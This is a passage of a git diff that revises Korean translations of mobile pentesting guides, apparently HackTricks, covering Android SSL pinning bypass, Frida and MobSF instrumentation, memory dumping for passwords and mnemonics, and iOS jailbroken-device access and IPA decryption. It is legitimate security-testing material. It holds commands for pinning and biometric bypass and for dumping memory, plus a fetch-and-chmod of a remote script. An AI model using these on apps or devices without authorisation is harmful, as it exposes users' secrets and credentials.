연결을 중간자(MITM) 공격에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다. -- **민감한 정보의 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티에 의해 가로채는 것으로부터 보호하지 못합니다. +- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다**, 안전하지 않은 암호화 스위트를 사용하는 경우가 있습니다. 이 취약점은 연결을 중간자 공격(MITM)에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다. +- **민감한 정보 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티에 의해 가로채는 것으로부터 보호하지 못합니다. #### 인증서 검증 @@ -403,19 +403,19 @@ SSL 핀닝은 애플리케이션이 서버의 인증서를 애플리케이션 #### 트래픽 검사 -HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해야 합니다**(예: Burp). 이 인증서를 설치하지 않으면 암호화된 트래픽이 프록시를 통해 표시되지 않을 수 있습니다. 사용자 지정 CA 인증서를 설치하는 방법에 대한 가이드는 [**여기를 클릭하세요**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해야 합니다**(예: Burp). 이 인증서를 설치하지 않으면 암호화된 트래픽이 프록시를 통해 표시되지 않을 수 있습니다. 사용자 정의 CA 인증서를 설치하는 방법에 대한 가이드는 [**여기를 클릭하세요**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -**API Level 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성을 수정하는 방법에 대한 지침은 [**이 튜토리얼을 참조하세요**](make-apk-accept-ca-certificate.md). +**API Level 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성 수정에 대한 지침은 [**이 튜토리얼을 참조하세요**](make-apk-accept-ca-certificate.md). #### SSL 핀닝 우회 SSL 핀닝이 구현된 경우 HTTPS 트래픽을 검사하기 위해 이를 우회해야 합니다. 이를 위한 다양한 방법이 있습니다: -- **apk**를 자동으로 **수정**하여 SSLPinning을 **우회**하는 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 사용할 수 있습니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다. -- **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)입니다. +- 자동으로 **apk를 수정하여** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)로 SSL 핀닝을 **우회**합니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다. +- **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 다음과 같습니다: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - **objection**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - **MobSF 동적 분석**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다(아래에서 설명됨). -- 여전히 캡처하지 못한 트래픽이 있다고 생각되면 **iptables를 사용하여 트래픽을 burp로 포워딩**할 수 있습니다. 이 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62). +- 여전히 캡처하지 못한 트래픽이 있다고 생각되면 **iptables를 사용하여 트래픽을 burp로 포워딩**할 수 있습니다. 이 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### 일반 웹 취약점 찾기 @@ -427,17 +427,17 @@ SSL 핀닝이 구현된 경우 HTTPS 트래픽을 검사하기 위해 이를 우 **실행 중인 애플리케이션에 접근하고 런타임에서 메서드를 후킹하여 동작을 변경하고, 값을 변경하고, 값을 추출하고, 다른 코드를 실행할 수 있습니다...**\ Android 애플리케이션을 펜테스트하려면 Frida를 사용하는 방법을 알아야 합니다. -- Frida 사용 방법 배우기: [**Frida 튜토리얼**](frida-tutorial/) +- Frida 사용 방법 배우기: [**Frida 튜토리얼**](frida-tutorial/index.html) - Frida로 작업하기 위한 "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection은 Frida 사용을 자동화하는 데 유용합니다: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Ojection은 Frida 사용을 자동화하는 데 훌륭합니다: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - 여기에서 멋진 Frida 스크립트를 찾을 수 있습니다: [**https://codeshare.frida.re/**](https://codeshare.frida.re) - [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)에서 지시한 대로 Frida를 로드하여 안티 디버깅 / 안티 Frida 메커니즘을 우회해 보세요(도구 [linjector](https://github.com/erfur/linjector-rs)). ### **메모리 덤프 - Fridump** -애플리케이션이 비밀번호나 암기구문과 같은 민감한 정보를 저장하고 있지 않은지 확인하세요. +애플리케이션이 비밀번호나 니모닉과 같은 민감한 정보를 저장하고 있지 않은지 확인하세요. -[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 앱의 메모리를 덤프할 수 있습니다: +[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 다음과 같이 앱의 메모리를 덤프할 수 있습니다: ```bash # With PID python3 fridump3.py -u @@ -452,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Keystore의 민감한 데이터** -Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소입니다. 그러나 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** pentests는 이를 확인해야 하며, 루트 사용자 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다. +Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소입니다. 그러나 충분한 권한이 있으면 여전히 **액세스할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** pentests는 이를 확인해야 하며, 루트 사용자 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다. 앱이 keystore에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다. @@ -474,7 +474,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다. +MobSF는 **diff/Compare** 분석을 허용하고 **VirusTotal**과 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다. ### MobSF를 이용한 보조 동적 분석 -**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 호스트에 MobSF와 **genymotion**을 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** MobSF를 시작해야 합니다._\ +**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 호스트에 MobSF와 **genymotion**을 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** **MobSF를 시작해야 합니다.**_\ **MobSF 동적 분석기**는 다음을 수행할 수 있습니다: -- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 사용자가 원하는 시점에 눌러야 하거나 "**Exported Activity Tester**"를 눌러 모든 내보낸 활동의 스크린샷을 얻어야 합니다. +- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 사용자가 원하는 시점에 눌러야 하거나 "**Exported Activity Tester**"를 눌러야 모든 내보낸 활동의 스크린샷을 얻을 수 있습니다. - **HTTPS 트래픽 캡처** - **Frida**를 사용하여 **런타임** **정보**를 얻기 -Android **버전 > 5**에서는 **Frida**를 **자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 설정합니다. 테스트된 애플리케이션의 트래픽만 캡처합니다. +안드로이드 **버전 > 5**에서는 **Frida를 자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 합니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다. **Frida** 기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 우회하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\ -MobSF는 또한 **내보낸 활동을 호출**하고, 그들의 **스크린샷을 캡처**하여 보고서에 **저장**할 수 있습니다. +MobSF는 또한 **내보낸 활동을 호출**하고, 그 스크린샷을 캡처하여 **보고서**에 저장할 수 있습니다. -동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에서 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환된 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\ +동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에서 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\ MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다). ![](<../../images/image (419).png>) @@ -553,13 +553,13 @@ MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 ( - **문자열 비교 캡처**: 매우 유용할 수 있습니다. **비교되는 2개의 문자열**과 결과가 True인지 False인지 보여줍니다. - **클래스 메서드 나열**: 클래스 이름(예: "java.io.File")을 입력하면 클래스의 모든 메서드를 출력합니다. - **클래스 패턴 검색**: 패턴으로 클래스를 검색합니다. -- **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 봅니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다. +- **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 확인합니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다. 사용하려는 보조 모듈을 선택한 후 "**Start Instrumentation**"을 누르면 "**Frida Live Logs**"에서 모든 출력을 볼 수 있습니다. **Shell** -Mobsf는 또한 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **shell** **명령**을 제공하는 셸을 제공합니다. 몇 가지 흥미로운 명령: +Mobsf는 또한 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **shell** **명령**을 포함한 셸을 제공합니다. 몇 가지 흥미로운 명령: ```bash help shell ls @@ -571,9 +571,9 @@ receivers **HTTP 도구** HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 또는 "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**(예: Burp 또는 Owasp ZAP)로 **전송**할 수 있습니다.\ -이를 위해, _Burp 전원 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼 클릭 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르세요 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾을 수 있습니다. +MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아보세요. > [!NOTE] > MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 이를 수정할 수 없습니다. 다음을 수행하여 프록시 설정을 수정할 수 있습니다: @@ -582,10 +582,10 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP > adb shell settings put global http_proxy :0 > ``` -### Inspeckage를 통한 보조 동적 분석 +### Inspeckage를 이용한 보조 동적 분석 [**Inspeckage**](https://github.com/ac-pm/Inspeckage)에서 도구를 받을 수 있습니다.\ -이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지** 알기 위해 몇 가지 **Hooks**를 사용합니다. +이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지** 알리기 위해 몇 가지 **후크**를 사용합니다. ### [Yaazhini](https://www.vegabird.com/yaazhini/) @@ -595,7 +595,7 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP ### [Qark](https://github.com/linkedin/qark) -이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 "Proof-of-Concept" 배포 가능한 APK 및 **ADB 명령**을 생성할 수 있습니다(노출된 활동, 인텐트, 탭재킹 등...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다. +이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 **"Proof-of-Concept" 배포 가능한 APK** 및 **ADB 명령**을 생성할 수 있습니다(노출된 활동, 인텐트, 탭재킹 등...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -609,7 +609,7 @@ qark --java path/to/specific/java/file.java - 일반적인 취약점 및 동작을 위해 AndroidManifest.xml 분석 - 일반적인 취약점 및 동작에 대한 정적 소스 코드 분석 - 장치 정보 -- 기타 등등 +- 기타 사항 ```bash reverse-apk relative/path/to/APP.apk ``` @@ -617,7 +617,7 @@ reverse-apk relative/path/to/APP.apk SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지합니다. -모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 만들 수 있습니다. +모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 자신이 필요한 것을 분석하기 위해 자체 규칙을 만들 수 있습니다. 최신 바이너리는 [download page](https://superanalyzer.rocks/download.html)에서 다운로드하세요. ``` @@ -645,9 +645,9 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn**는 Android 애플리케이션에서 발생할 수 있는 악의적인 행동을 탐지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다. +**Androwarn**는 Android 애플리케이션에서 발생할 수 있는 악의적인 행동을 감지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다. -탐지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다. +감지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다. 이 도구는 다음과 같은 **"나쁜" 애플리케이션의 일반적인 행동**을 찾습니다: 전화 식별자 유출, 오디오/비디오 흐름 가로채기, PIM 데이터 수정, 임의 코드 실행... ``` @@ -670,7 +670,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ### Koodous -악성 소프트웨어를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com) +악성코드를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com) ## 코드 난독화/디오브스큐레이션 @@ -678,7 +678,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ### [ProGuard]() -[위키백과](): **ProGuard**는 Java 코드를 축소, 최적화 및 난독화하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령어를 감지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU 일반 공용 라이선스 버전 2에 따라 배포됩니다. +[위키백과](): **ProGuard**는 Java 코드를 축소, 최적화 및 난독화하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령어를 감지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU 일반 공중 라이선스 버전 2에 따라 배포됩니다. ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리스 모드로 빌드할 때 실행됩니다. @@ -696,7 +696,7 @@ APK를 디오브스큐레이션하는 단계별 가이드를 [https://blog.lexfo ### [DeGuard](http://apk-deguard.com) -**DeGuard는 Android 난독화 도구가 수행한 난독화 프로세스를 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 수많은 보안 분석이 가능합니다.** +**DeGuard는 Android 난독화 도구가 수행한 난독화 과정을 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 수많은 보안 분석이 가능합니다.** 난독화된 APK를 그들의 플랫폼에 업로드할 수 있습니다. @@ -720,7 +720,7 @@ APKiD는 **APK가 어떻게 만들어졌는지**에 대한 정보를 제공합 ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성 소프트웨어 분석을 위한 최신 프레임워크, 튜토리얼 및 다양한 보안 전문가와 연구자들의 실험실을 포함합니다. +AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성코드 분석을 위한 다양한 보안 전문가와 연구자들의 최신 프레임워크, 튜토리얼 및 실습을 포함합니다. ## References diff --git a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md index 0509bbdc0..df314938f 100644 --- a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md +++ b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md @@ -16,7 +16,7 @@ Catalina 이전 버전의 macOS에서는 iTunes가 UDID 발견을 용이하게 ```bash $ ioreg -p IOUSB -l | grep "USB Serial" ``` -- **macOS (및 Linux)에서 `ideviceinstaller` 사용하기:** +- **`ideviceinstaller`를 macOS (및 Linux)에서 사용하기:** ```bash $ brew install ideviceinstaller $ idevice_id -l @@ -31,9 +31,9 @@ $ instruments -s devices ``` ### **디바이스 셸 접근** -**SSH 접근**은 탈옥 후 **OpenSSH 패키지**를 설치하여 활성화되며, `ssh root@`를 통해 연결할 수 있습니다. 디바이스를 안전하게 유지하기 위해 `root`와 `mobile` 사용자에 대한 기본 비밀번호(`alpine`)를 변경하는 것이 중요합니다. +**SSH 접근**은 **OpenSSH 패키지**를 탈옥 후 설치하여 활성화되며, `ssh root@`를 통해 연결할 수 있습니다. 디바이스를 안전하게 보호하기 위해 `root`와 `mobile` 사용자에 대한 기본 비밀번호(`alpine`)를 변경하는 것이 중요합니다. -**USB를 통한 SSH**는 Wi-Fi가 없을 때 필요하며, `iproxy`를 사용하여 SSH 연결을 위한 디바이스 포트를 매핑합니다. 이 설정은 다음 명령어를 실행하여 USB를 통해 SSH 접근을 가능하게 합니다: +**USB를 통한 SSH**는 Wi-Fi가 없는 경우 필요하며, `iproxy`를 사용하여 SSH 연결을 위한 디바이스 포트를 매핑합니다. 이 설정은 다음을 실행하여 USB를 통해 SSH 접근을 가능하게 합니다: ```bash $ iproxy 2222 22 $ ssh -p 2222 root@localhost @@ -48,7 +48,7 @@ $ ssh -p 2222 root@localhost ### **앱 데이터 파일 전송** -**SSH 및 SCP를 통한 아카이빙 및 검색:** `tar`를 사용하여 애플리케이션의 데이터 디렉토리를 아카이브한 다음 `scp`를 사용하여 전송하는 것은 간단합니다. 아래 명령은 데이터 디렉토리를 .tgz 파일로 아카이브한 후 장치에서 가져옵니다: +**SSH 및 SCP를 통한 아카이빙 및 검색:** `tar`를 사용하여 애플리케이션의 Data 디렉토리를 아카이브한 다음 `scp`를 사용하여 전송하는 것은 간단합니다. 아래 명령은 Data 디렉토리를 .tgz 파일로 아카이브한 후 장치에서 가져옵니다: ```bash tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693 exit @@ -60,7 +60,7 @@ scp -P 2222 root@localhost:/tmp/data.tgz . ### **파일 관리를 위한 Objection 사용** -**Objection을 통한 인터랙티브 셸:** Objection을 실행하면 앱의 Bundle 디렉토리에 접근할 수 있습니다. 여기에서 앱의 Documents 디렉토리로 이동하여 파일을 관리하고, iOS 장치로부터 파일을 다운로드하고 업로드할 수 있습니다. +**Objection을 통한 인터랙티브 셸:** objection을 실행하면 앱의 Bundle 디렉토리에 접근할 수 있습니다. 여기에서 앱의 Documents 디렉토리로 이동하여 파일을 관리하고, iOS 장치로부터 파일을 다운로드하고 업로드할 수 있습니다. ```bash objection --gadget com.apple.mobilesafari explorer cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents @@ -68,9 +68,9 @@ file download ``` ## **앱 획득 및 추출** -### **IPA 파일 획득하기** +### **IPA 파일 획득** -**OTA 배포 링크:** OTA를 통해 테스트용으로 배포된 앱은 ITMS 서비스 자산 다운로드 도구를 사용하여 다운로드할 수 있으며, 이 도구는 npm을 통해 설치되고 IPA 파일을 로컬에 저장하는 데 사용됩니다. +**OTA 배포 링크:** 테스트를 위해 OTA를 통해 배포된 앱은 ITMS 서비스 자산 다운로드 도구를 사용하여 다운로드할 수 있으며, 이 도구는 npm을 통해 설치되고 IPA 파일을 로컬에 저장하는 데 사용됩니다. ```bash npm install -g itms-services itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa @@ -92,7 +92,7 @@ otool -Vh Hello_World ``` **암호화된 섹션 식별 및 메모리 덤프:** -`otool`을 사용하여 암호화된 섹션의 시작 및 끝 주소를 확인하고, gdb를 사용하여 탈옥된 장치에서 메모리를 덤프합니다. +`otool`을 사용하여 암호화된 섹션의 시작 및 끝 주소를 확인하고, 탈옥된 장치에서 gdb를 사용하여 메모리를 덤프합니다. ```bash otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO dump memory dump.bin 0x8000 0x10a4000 @@ -123,7 +123,7 @@ $ python3 dump.py -u "root" -p "" ph.telegra.Telegraph #### **flexdecrypt** -[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) 도구와 그 래퍼 [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)는 설치된 애플리케이션에서 IPA 파일을 추출할 수 있게 해줍니다. 장치에서 **flexdecrypt**를 설치하는 명령은 `.deb` 패키지를 다운로드하고 설치하는 것입니다. **flexdump**는 아래 명령에서 보여지는 것처럼 앱을 나열하고 덤프하는 데 사용할 수 있습니다: +[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) 도구와 그 래퍼 [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)는 설치된 애플리케이션에서 IPA 파일을 추출할 수 있게 해줍니다. 장치에서 **flexdecrypt**의 설치 명령은 `.deb` 패키지를 다운로드하고 설치하는 것입니다. **flexdump**는 아래 명령에서 보여지는 것처럼 앱을 나열하고 덤프하는 데 사용할 수 있습니다: ```bash apt install zip unzip wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump @@ -146,13 +146,13 @@ bagbak --raw Chrome #### **Sideloading 도구** -- **Cydia Impactor**: iOS에서 IPA 파일을 서명하고 설치하는 도구이며, Android에서 APK 파일을 설치하는 데도 사용됩니다. 가이드와 문제 해결 방법은 [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/)에서 확인할 수 있습니다. +- **Cydia Impactor**: iOS에서 IPA 파일과 Android에서 APK 파일을 서명하고 설치하는 도구입니다. 가이드와 문제 해결 방법은 [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/)에서 확인할 수 있습니다. - **libimobiledevice**: iOS 장치와 통신하기 위한 Linux 및 macOS용 라이브러리입니다. USB를 통해 앱을 설치하기 위한 ideviceinstaller의 설치 명령 및 사용 예제가 제공됩니다. - **ipainstaller**: 이 명령줄 도구는 iOS 장치에 직접 앱을 설치할 수 있게 해줍니다. -- **ios-deploy**: macOS 사용자를 위해 ios-deploy는 명령줄에서 iOS 앱을 설치합니다. IPA 파일을 압축 해제하고 직접 앱을 실행하기 위해 `-m` 플래그를 사용하는 것이 과정의 일부입니다. +- **ios-deploy**: macOS 사용자를 위해 ios-deploy는 명령줄에서 iOS 앱을 설치합니다. IPA 파일을 압축 해제하고 `-m` 플래그를 사용하여 직접 앱을 실행하는 것이 과정의 일부입니다. - **Xcode**: Xcode를 사용하여 **Window/Devices and Simulators**로 이동하고 앱을 **Installed Apps**에 추가하여 앱을 설치합니다. @@ -160,11 +160,11 @@ bagbak --raw Chrome iPhone 또는 iPod touch 장치에 iPad 전용 애플리케이션을 설치하려면 **Info.plist** 파일의 **UIDeviceFamily** 값을 **1**로 변경해야 합니다. 그러나 이 수정은 서명 검증 체크로 인해 IPA 파일을 다시 서명해야 합니다. -**참고**: 이 방법은 애플리케이션이 최신 iPad 모델에만 해당되는 기능을 요구할 경우, 구형 iPhone 또는 iPod touch를 사용할 때 실패할 수 있습니다. +**참고**: 이 방법은 애플리케이션이 구형 iPhone 또는 iPod touch를 사용할 때 최신 iPad 모델에만 해당되는 기능을 요구하는 경우 실패할 수 있습니다. ## References -- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/) +- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html) - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/) - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/) - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/) diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md 